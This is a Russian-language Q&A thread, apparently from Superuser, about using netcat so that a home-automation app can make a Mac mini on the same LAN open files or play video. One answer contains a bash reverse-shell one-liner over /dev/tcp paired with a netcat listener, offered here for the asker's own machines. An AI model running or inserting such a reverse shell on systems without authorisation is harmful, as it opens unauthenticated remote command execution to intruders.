Используйте netcat, чтобы указать удаленному Mac запускать / открывать файл

1159
manaman

У меня очень ограниченные (почти нет) знания о том, как работает netcat, кроме того, что мне удалось заставить один Mac mini прослушивать порт 13370 [с помощью nc -l 13370] (для команд TCP?), И у меня есть MacBook, к которому подключен на Mac mini, используя [nc 192.168.1.xxx 13370], и все, что я ввожу в Терминал на MacBook, отображается (эхом?) на Терминале Mac mini.

Я хочу, чтобы Mac mini мог открыть файл (также хранящийся на Mac mini) с другого устройства в той же локальной сети. Поэтому в настоящее время я использую MacBook, но в конечном итоге хочу отправить команды из приложения домашней автоматизации, которое я делаю, например, для воспроизведения видео на Mac mini, подключенном к экрану телевизора. Или любую другую команду, которую вы обычно можете выполнить в Терминале. Мое приложение не может подключиться к Mac mini с помощью SSH, поэтому я пытаюсь таким образом.

Какую команду мне нужно отправить, чтобы открыть файл? Есть какой-то формат, который я должен использовать и т. Д.? Благодарен за любую помощь.

0
Вы можете [редактировать] свой вопрос в любое время. GabrielaGarcia 5 лет назад 2
Спасибо, отредактировал. manaman 5 лет назад 0
По какой причине вы не можете использовать SSH? Вы говорите, что у вас нет доступа к SSH на одной из машин, или вы говорите, что ваше приложение может отправлять соединения только через порт? DKing 5 лет назад 0
Приложение не может подключиться с использованием SSH. Производитель программного обеспечения посоветовал мне использовать netcat / telnet и т. Д. Да, я думаю, что он может общаться только через порт manaman 5 лет назад 0
@manaman У меня есть скрипт, который использует netcat для выполнения [именно этого] (https://github.com/rahuldottech/ncRemRun), но он написан пакетно для Windows. Не должно занять больше, чем несколько минут, чтобы перенести его, хотя. rahuldottech 5 лет назад 0
Вы разрабатываете это приложение, как говорится в вашем вопросе, или же, как указывает ваш комментарий, участвует ли производитель? Я немного сбит с толку относительно того, почему вы настраиваете это так bertieb 5 лет назад 0
@bertieb Я использую программное обеспечение под названием DemoPad, которое выполняет компиляцию приложения после того, как я установил все команды и устройства в проекте «умный дом» в настольной программе, в которой он построен. поэтому я связан протоколами, которые позволяет DemoPad. manaman 5 лет назад 0

3 ответа на вопрос

0
DKing

netcatИнструмент просто инструмент сетевого подключения. Он может прослушивать любой порт и подключаться к любому порту. Он может выводить эту информацию или даже передавать данные. Это тоже очень полезно. К сожалению, он только слушает и отправляет информацию; он не выполняет никаких команд сам. Следовательно, netcatэто не инструмент для того, что вы хотите сделать. То же самое относится и к Telnet.

Для запуска команд на удаленном сервере вам понадобится программное обеспечение, которое работает на этом удаленном сервере, которое будет принимать эти команды. Инструмент для выполнения команд на удаленном сервере - SSH. На сервере прослушивания будет запущен демон SSHD. Вы могли бы попытаться найти способ взломать сервер каким-либо другим способом, но, поскольку у вас уже есть доступ к этому устройству, это действительно будет больше проблем, чем стоило бы, поскольку SSH уже существует.

Вы говорите, что ваше приложение не может подключиться к SSH, но если оно имеет доступ netcat, то я бы порекомендовал использовать любой доступ, чтобы получить доступ к SSH, и выполнять ваши команды оттуда.

Если способ, которым вы подключаетесь, netcatзаключается в том, что вы прослушиваете его через порт, и единственное, что может сделать ваше приложение, - это подключиться к этому порту, то вам нужно создать какой-то API или какое-то программное обеспечение, может обрабатывать запросы через порт и использовать их для выполнения команд на терминале через SSH. Я нашел эту статью с некоторыми предложениями для этого в BASH:

https://unix.stackexchange.com/questions/314550/how-to-set-a-script-to-execute-when-a-port-receives-a-message

Как только вы сможете получить запрос в сценарий оболочки, вы можете либо заставить этот сценарий выполнять ваши команды напрямую, либо вы можете написать дополнительные сценарии, которые запускаются программным обеспечением для прослушивания. Я хотел бы, чтобы это программное обеспечение слушало на клиенте, а не на удаленном сервере, и вы могли бы получить к нему доступ через localhost (127.0.0.1). Кроме того, не забудьте добавить ключ SSH, чтобы ваше подключение к удаленному серверу не требовало использования каких-либо паролей. Эта статья может помочь с этим:

https://docs.joyent.com/public-cloud/getting-started/ssh-keys/generating-an-ssh-key-manually/manually-generating-your-ssh-key-in-mac-os-x

0
rahuldottech

Вы можете создать обратную оболочку на MacOS (на компьютере 1) следующим образом:

bash -i >& /dev/tcp/ip-address-of-computer-2/1337 0>&1 

А затем подключитесь к нему с другого компьютера (компьютер 2) с помощью одной из следующих команд netcat (зависит от реализации):

nc -l -p 1337 

или же

nc -l 1337 

Теперь вы можете вводить команды bash на компьютере 2, и они будут выполняться на компьютере, на котором запущена удаленная оболочка (компьютер 1).

Компьютер 1 продолжает говорить «отказано в соединении», когда я набираю bash -i> & / dev / tcp / ip-address-of-computer-2/1337 0> & 1. IP-адрес компьютера 2 является статическим, а также Mac ... manaman 5 лет назад 0
@manaman проверь брандмауэр, открой порт 1337 rahuldottech 5 лет назад 0
@manaman, также попробуйте запустить команды для компьютера 2, прежде чем запускать команды для компьютера 1 rahuldottech 5 лет назад 0
0
manaman

Спасибо всем за вашу помощь в этом, ваша помощь после долгих проб и ошибок помогла мне в конце концов найти способ сделать то, что я хотел. В конце концов я решил не пытаться соединиться с самим Mac через telnet, а, скорее, напрямую с приложением VLC, имеющим собственный сервер telnet через порт 4212. Я продолжал получать «отказ в соединении» при попытке подключиться к Mac через telnet, но VLC на порт 4212 подключается нормально, если в VLC установлен пароль.

Главное, что я хотел сделать, - это контролировать VLC, поэтому я доволен этим. Мое приложение также может отправлять команды так же, как это делает клиент Mac через терминал, так что все хорошо. Спасибо еще раз всем!

Похожие вопросы